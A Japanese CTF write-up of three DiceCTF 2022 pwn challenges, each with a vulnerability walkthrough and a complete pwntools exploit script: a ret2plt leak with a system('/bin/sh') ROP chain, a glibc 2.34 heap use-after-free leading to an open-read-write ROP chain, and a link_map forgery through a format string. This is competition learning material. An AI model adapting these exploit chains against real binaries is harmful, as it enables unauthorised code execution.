DiceCTF 2022 Write-up
Dice CTF 2022に参加しました。
pwnは8問あり、2問は開催中に、1問は終了後に解きました。
pwn/interview-opportunity
299 solves / 108 points
開催期間中に解けた。
よくある問題。bofの脆弱性があるのでgot 領域からret2pltでlibc addressをリーク。
そしてROPでsystem("/bin/sh")を呼ぶというやつ。
from pwn import * context.arch="i386" context.terminal = ['mate-terminal', '-e'] elf=ELF("/home/ubuntu/Desktop/ctf/dicectf/interview-opportunity/interview-opportunity") libc=ELF("/home/ubuntu/Desktop/ctf/dicectf/interview-opportunity/libc.so.6") #p=process("/home/ubuntu/Desktop/ctf/dicectf/interview-opportunity/interview-opportunity" , aslr=False ,env={"LD_PRELOAD" : "/home/ubuntu/Desktop/ctf/dicectf/interview-opportunity/libc.so.6"} ) p=remote("mc.ax",31081) #gdb.attach(p) pop_rdi=0x00401313 ret=0x0040101a p.sendlineafter("DiceGang?", cyclic(34)+p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(elf.symbols["main"])) p.recvline() p.recvline() p.recvline() libc_base=u64(p.recv()[0:6].ljust(8,b"\x00"))-0x765f0 log.info("libc base is :"+hex(libc_base)) p.sendline(cyclic(34)+p64(pop_rdi)+p64(libc_base+next(libc.search(b"/bin/sh")))+p64(libc_base+libc.symbols["system"])) p.interactive()
実質welcome問。
pwn/baby-rop
106 solves / 127 points
これも開催期間中に解けた。
glibc2.34が無いと動かない。
LD_PRELOAD=./libc.so.6 ./ld-linux-x86-64.so.2 ./babyrop
とかでも動くが、毎回やるのは面倒なのでpatchelf して動くようにした。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : FULL
起動すると下記のように動くheap問。
仕様
下記のコマンドが用意されている。
C(create_safe_string): indexを指定し、領域を作る。内部的には、まずmallocでsafe_string構造体(下記)のサイズを取得し、lengthとstringのポインタを確保する。次に、lengthサイズでmallocして、そこに文字列を書き込む。 F(free_safe_string):Cで作成されたstringの領域をfreeし、safe_string構造体もfreeする。free後、ポインタにnullを代入しない。 R(read_safe_string):safe_string構造体のlengthを参照し、lengthの分、stringの領域を出力する。 W(write_safe_string):safe_string構造体のlengthを参照し、lengthの分、stringの領域に読み込む。 E:Exitする
typedef struct { size_t length; char * string; } safe_string;
safe_string 構造体
脆弱性
・null終端が無い。(使わない)
・free後にポインタにnullを代入されない為、UaFとDouble Freeがある。(こっちを使う)
なお、libc2.34が使われていると、tcacheのfdには次のtchacheの領域へのポインタがマングリングされた値が入る。(いわゆるsafe-linking)
bkの位置にはkeyが入る。libc2.32-33時点ではkey(heap内へのポインタ)だったが、乱数のようなものが入っている。
how2heapで確認してみた。(いつのまにかwebから動くようになっていてめちゃめちゃ便利になった。)
glibc 2.32
glibc 2.33
glibc 2.34
このように、今までtcache のbkは普通のポインタだったのが、乱数的なやつが入るようになっていた。
仕様は追えていない。調べるべきなんだけど未調査。。。
したがって、Cした領域をFした後は下記のようになる。
見ての通り、fdはsafe-linkingで変な値になっているし、bkは暗号化されている。
ここでRやWを使うと、プログラムは、0x4062c6バイトを、0x137e7dd7b5eb11caから出力しようとしたり、入力しようとして
当然、0x137e7dd7b5eb11caのメモリアクセスに失敗してsegmentation faultで落ちてしまう。
さて、どうすれば良いかだが、freeを何回か行うことで、tcacheではない領域に入れる。
tcacheを連発した後は、fastbinに入る。fastbinなら、bkにkeyみたいな変な値が入ることはない。
以前の通りstring領域へのポインタが入っているので、Rを使うことにより、string領域へのポインタに多めのバイト数を書き込むことができる。
これを活用すれば、heap buffer overflowとして、隣り合う領域のsafe_string構造体を書き換えることができる。
それを使えば、任意の場所に書き込むことができるし、書き換えることができる。
イメージ図。
実質これで終了。
まずlibc baseのリークだが、これはGOTから読み込むことで簡単にリークできる。
次にRIPをとることを考えるが、FULL RELROなので、GOT Overwriteはできない。
しかもglibc 2.34から__free_hookや__malloc_hook等のhook系が削除されてしまっている。
シンボルは存在するように見えるが、うまく動かない。
さて、RIPをとるためにはどうすれば良いか。
最初はFSOPの方針でRIPまで取れた。
具体的には、下記のvtableで
struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); };
とりあえず_IO_xsputn_tを書き換えてみると、次の出力で任意アドレスに飛ばすことができた。
これでRIPを奪うことができた。
さて、one_gadgetを使おうと思ったがgadgetが出てこない。
libc 2.34はone_gadgetは対応していなさそう。
しかも、今回の問題は、許されるsystem callが限られていて、execveも呼べない。
なのでおとなしくFSOPはあきらめて、ROPでopen read writeを呼ぶことにする。
良い感じのgadgetを見つけてstack pivotをしようと思ったが、gadgetは見つからなかった。
stack addressをleakしてAAWでstackに直接値を書き込むことにした。
stack addressはlibcのenvironにアドレスがあるのでlibc base がわかればleakすることができる。
stackに書き込むことができて、ROPができるようになったので、実はFSOPはもういらない。
あとはopen-read-writeを書くだけ。
from pwn import * context.arch="i386" context.terminal = ['mate-terminal', '-e'] elf=ELF("/home/ubuntu/Desktop/ctf/dicectf/baby-rop/babyrop") libc=ELF("/home/ubuntu/Desktop/ctf/dicectf/baby-rop/libc.so.6") p=remote("mc.ax",31245) #p=process("/home/ubuntu/Desktop/ctf/dicectf/baby-rop/babyrop2", aslr=False ) #gdb.attach(p) def create_string(index, length, contents): p.sendlineafter("enter your command:", "C") p.sendlineafter("enter your index:", index) p.sendlineafter("How long is your safe_string:", length) p.sendlineafter("enter your string:", contents) return def free_string(index): p.sendlineafter("enter your command:", "F") p.sendlineafter("enter your index:", index) return def read_string(index): p.sendlineafter("enter your command:", "R") p.sendlineafter("enter your index:", index) p.recvline() return p.recvline() def write_string(index, contents): p.sendlineafter("enter your command:", "W") p.sendlineafter("enter your index:", index) p.sendlineafter("enter your string:", contents) return create_string(str(0), str(0x78), cyclic(0x18)) create_string(str(1), str(0x78), cyclic(0x18)) create_string(str(2), str(0x78), cyclic(0x18)) create_string(str(3), str(0x78), cyclic(0x18)) create_string(str(4), str(0x78), cyclic(0x18)) create_string(str(5), str(0x78), cyclic(0x18)) create_string(str(6), str(0x78), cyclic(0x18)) create_string(str(7), str(0x78), p64(0xcafebabe)) create_string(str(8), str(0x400000), p64(0xcafebabe)) create_string(str(9), str(0x78), p64(0xcafebabe)) free_string(str(0)) free_string(str(1)) free_string(str(2)) free_string(str(3)) free_string(str(4)) free_string(str(5)) free_string(str(6)) free_string(str(7)) free_string(str(8)) free_string(str(9)) #libc leak write_string(str(7), cyclic(128)+p64(0x08)+p64(elf.got["puts"])) data=read_string(str(8)) d=data.split() libc_base=(int(d[0], 16) +int(d[1],16)*0x100 +int(d[2], 16)*0x10000 +int(d[3], 16)*0x1000000 +int(d[4], 16)*0x100000000 +int(d[5], 16)*0x10000000000)-libc.symbols["puts"] log.info("libc_base is :"+hex(libc_base)) # leak stack address write_string(str(7), cyclic(128)+p64(0x08)+p64(libc_base+libc.symbols["environ"])) data=read_string(str(8)) d=data.split() stack_address=(int(d[0], 16) +int(d[1],16)*0x100 +int(d[2], 16)*0x10000 +int(d[3], 16)*0x1000000 +int(d[4], 16)*0x100000000 +int(d[5], 16)*0x10000000000) log.info("stack address is :"+hex(stack_address)) # write rop code into stack open-read-write pop_rdi=libc_base+0x0002d7dd pop_rax=libc_base+0x000448a7 pop_rsi=libc_base+0x0002eef9 pop_rdx=libc_base+0x000d9c2d push_rax=libc_base+0x00040c2f syscall=libc_base+0x000888f2 write_string(str(7), cyclic(128)+p64(0x100)+p64(stack_address-0x1a0)) # open("./flag.txt", 2) # syscall num 2 # read(3, stack_address, 0x20) # syscall num 0 # write(1, stack_address, 0x20) # syscall num 1 log.info(hex(pop_rdi)) write_string(str(8), b"./flag.txt\x00\x00\x00\x00\x00\x00" +p64(pop_rdi) +p64(stack_address-0x1a0) #0x1a0 +p64(pop_rsi) +p64(0) +p64(pop_rdx) +p64(0) +p64(pop_rax) +p64(2) +p64(syscall) # open +p64(pop_rdi) +p64(3) +p64(pop_rsi) +p64(stack_address+0x100) +p64(pop_rdx) +p64(0x100) +p64(pop_rax) +p64(0) +p64(syscall) # read +p64(pop_rdi) +p64(1) +p64(pop_rsi) +p64(stack_address+0x100) +p64(pop_rdx) +p64(0x100) +p64(pop_rax) +p64(1) +p64(syscall) #write ) # fsop #ret=0x00401020 #_IO_xsputn_t=0x1f6598 #write_string(str(7), cyclic(128)+p64(0x08)+p64(libc_base+_IO_xsputn_t)) #write_string(str(8), p64(ret)) p.interactive()
一応これでflagが出力された
pwn/data-eater
25 solves / 220 points
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
1-3回入力するとsegmentation faultで落ちるバイナリ。
この問題は開催期間中に解けなかった。
方針は立ったが、理由は後述。
main関数の中身はこんな感じ。
undefined8 main(undefined8 param_1,long *param_2,long *param_3) { long in_FS_OFFSET; long *local_30; long *local_28; char local_18 [8]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_28 = param_2; while (local_30 = param_3, *local_28 != 0) { *local_28 = 0; local_28 = local_28 + 1; } while (*local_30 != 0) { *local_30 = 0; local_30 = local_30 + 1; } fgets(local_18,8,stdin); __isoc99_scanf(local_18,buf); memset(buf,0,0x20); uRam0000000000000000 = 0; if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { uRam0000000000000000 = 0; return 0; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); }
一回目のfgetsで文字列を7文字まで入力を受け付ける(null終端除く)
次のscanfで入力された文字列に対してscanfを行うという処理。
明かなFSBがある。
FSBで書き換えることが出来そうなポインタを探すために
スタック内を見てみるとこのような感じ。
gdb-peda$ x/100gx 0x7fffffffdee0 0x7fffffffdee0: 0x0000000000000000 0x0000000100400560 0x7fffffffdef0: 0x0000000a73243225 0x6d417b81b6198100 0x7fffffffdf00: 0x0000000000000000 0x000015555533f0b3 0x7fffffffdf10: 0x0000155555553620 0x00007fffffffdff8 0x7fffffffdf20: 0x0000000100000000 0x0000000000400647 0x7fffffffdf30: 0x0000000000400730 0xf6fbaa7d7e7acd40 0x7fffffffdf40: 0x0000000000400560 0x00007fffffffdff0 0x7fffffffdf50: 0x0000000000000000 0x0000000000000000 0x7fffffffdf60: 0x09045582c05acd40 0xdc51001a9eb4cd40 0x7fffffffdf70: 0x0000000000000000 0x0000000000000000 0x7fffffffdf80: 0x0000000000000000 0x0000000000000001 0x7fffffffdf90: 0x00007fffffffdff8 0x00007fffffffe008 0x7fffffffdfa0: 0x0000155555555190 0x0000000000000000
これと、書き込み可能な領域を照らし合わせてみる。
Start End Perm Name 0x00400000 0x00401000 r-xp /home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater 0x00601000 0x00602000 rw-p /home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater 0x00602000 0x00623000 rw-p [heap] 0x0000155555503000 0x0000155555506000 rw-p /usr/lib/x86_64-linux-gnu/libc-2.31.so 0x0000155555506000 0x000015555550c000 rw-p mapped 0x0000155555554000 0x0000155555555000 rw-p /usr/lib/x86_64-linux-gnu/ld-2.31.so 0x0000155555555000 0x0000155555556000 rw-p mapped 0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
writableな領域のみ抜粋してみたが、これを見てみると、そもそも使えそうなポインタは
スタック領域を除くと下記の2つであった。
0x000015555533f0b3 (6番目)
0x0000155555555190 (32番目)
これらのアドレスを色々調べてみると、
0x0000155555555190は、link_map構造体であることがわかった。
link_map構造体は、_dl_fixup 関数の引数として渡され、関数名の名前解決に用いられる。(Lazy Binding時)
link_mapをうまく書き換えることで、libc内の名前解決のフローをある程度操作することができる。
scanfの次のmemset関数は、初めて呼び出されるので、Lazy Bindingにより、
link_mapを使った名前解決が走るので書き換えることで、systemに飛ばすことができるかもしれない。
ということで、%sと%32$sでそれぞれ、場所が固定されている領域と、link_mapの領域に書き込みができる。
※ここでscanf の man pageを見たところ下記の記述があり、同時に%sと%32$sに書き込むことはできないと思い込んでしまった。
(後からコードを見たら、ちゃんと分離して書き込めていた。思い込みは恐ろしい…)
format 中の変換指定は、'%' で始まるか、 "%n$" で始まるかの、いずれかの形式である。 これら 2つの形式を同じ format 文字列に混ぜることはできない。
そこで他の方法にシフトして、他の謎の方法(後述)でRIPまでは取ることができたが、手詰まりになってしまった。
話を元に戻す。
まず、"%s%32$s"を一回目のfgetsに入力する。
次のscanfで、
%s(これは0x601080のbufに入力される。この領域はPIE無効なので位置が変わることはない)
%32$s(これは、link_mapの構造体が存在する0x0000155555555190に書き込まれる)
に書き込みができるので、
link_map構造体の指すSTRTABのポインタを0x601088に向け、
0x601088に偽のSTRTABを作る(memset を systemに変えておく)ことで、memsetで名前解決をするときにsystemで名前解決をするようにできる。
memsetの引数には0x601080が入るので、この領域の頭には"/bin/sh\x00"を入れておくことで、system("/bin/sh")が呼べそう。
0x20が含まれていると入力できなくなってしまうので、link mapポインタをうまく書き換える等、色々頑張る必要があるのだが、
気になったポインタを0にしたら、なんと普通に通ってしまった。
STRTABは0だと流石にsegmentation faultで落ちそうな気もするが、意外とnullがいくつかあっても名前解決ができた。
from pwn import * context.arch="i386" context.terminal = ['mate-terminal', '-e'] elf=ELF("/home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater") p=remote("mc.ax",31869) #p=process("/home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater", aslr=False) p.sendline("%s%32$s") link_map=p64(0)+p64(0)\ +p64(0)+p64(0)\ +p64(0)+p64(0)\ +p64(0)+p64(0)\ +p64(0)+p64(0)\ +p64(0x0000000000600f00)+p64(0x0000000000600ef0)\ +p64(0)+p64(0x601088)\ +p64(0x0000000000600eb0)+p64(0x0000000000600f30)\ +p64(0x0000000000600f40)+p64(0x0000000000600f50)\ +p64(0x0000000000600ec0)+p64(0x0000000000600ed0)\ +p64(0x0000000000600e30)+p64(0x0000000000600e40) binsh="/bin/sh".encode()+b"\x00" fake_struct=p64(5)+p64(0x601098) fake_strtab=b"\x00"+"libc.so.6".encode()\ +b"\x00"+"__isoc99_scanf".encode()\ +b"\x00"+"__stack_chk_fail".encode()\ +b"\x00"+"stdin".encode()\ +b"\x00"+"fgets".encode()\ +b"\x00"+"system".encode()\ +b"\x00"+"__libc_start_main".encode() p.sendline(binsh+fake_struct+fake_strtab+b" "+link_map) p.interactive()
これでシェルが取れる。
謎の方法
下記のコードで、RIPまでは取れた。
from pwn import * elf=ELF("/home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater") p=process("/home/ubuntu/Desktop/ctf/dicectf/dataeater/dataeater", aslr=False) gdb.attach(p) p.sendline("%6$s") # get RIP target=0xdeadbeef p.sendline("A".encode()*(0x1038)+p64(target-0xa36c0)) p.interactive()
なんかしらの関数ポインタを書き換えているようだ
しかし、mainに戻ろうにもバグって落ちるし、libc leakが無い以上、one_gadgetにも飛ばせないし、手詰まりだった。
ROPでstack pivotができるかと思ったが、程よいガジェットがギリギリなくてダメだった。
良問ばかりで素晴らしいCTFだった。
他の問題も解いてまとめたいなぁ。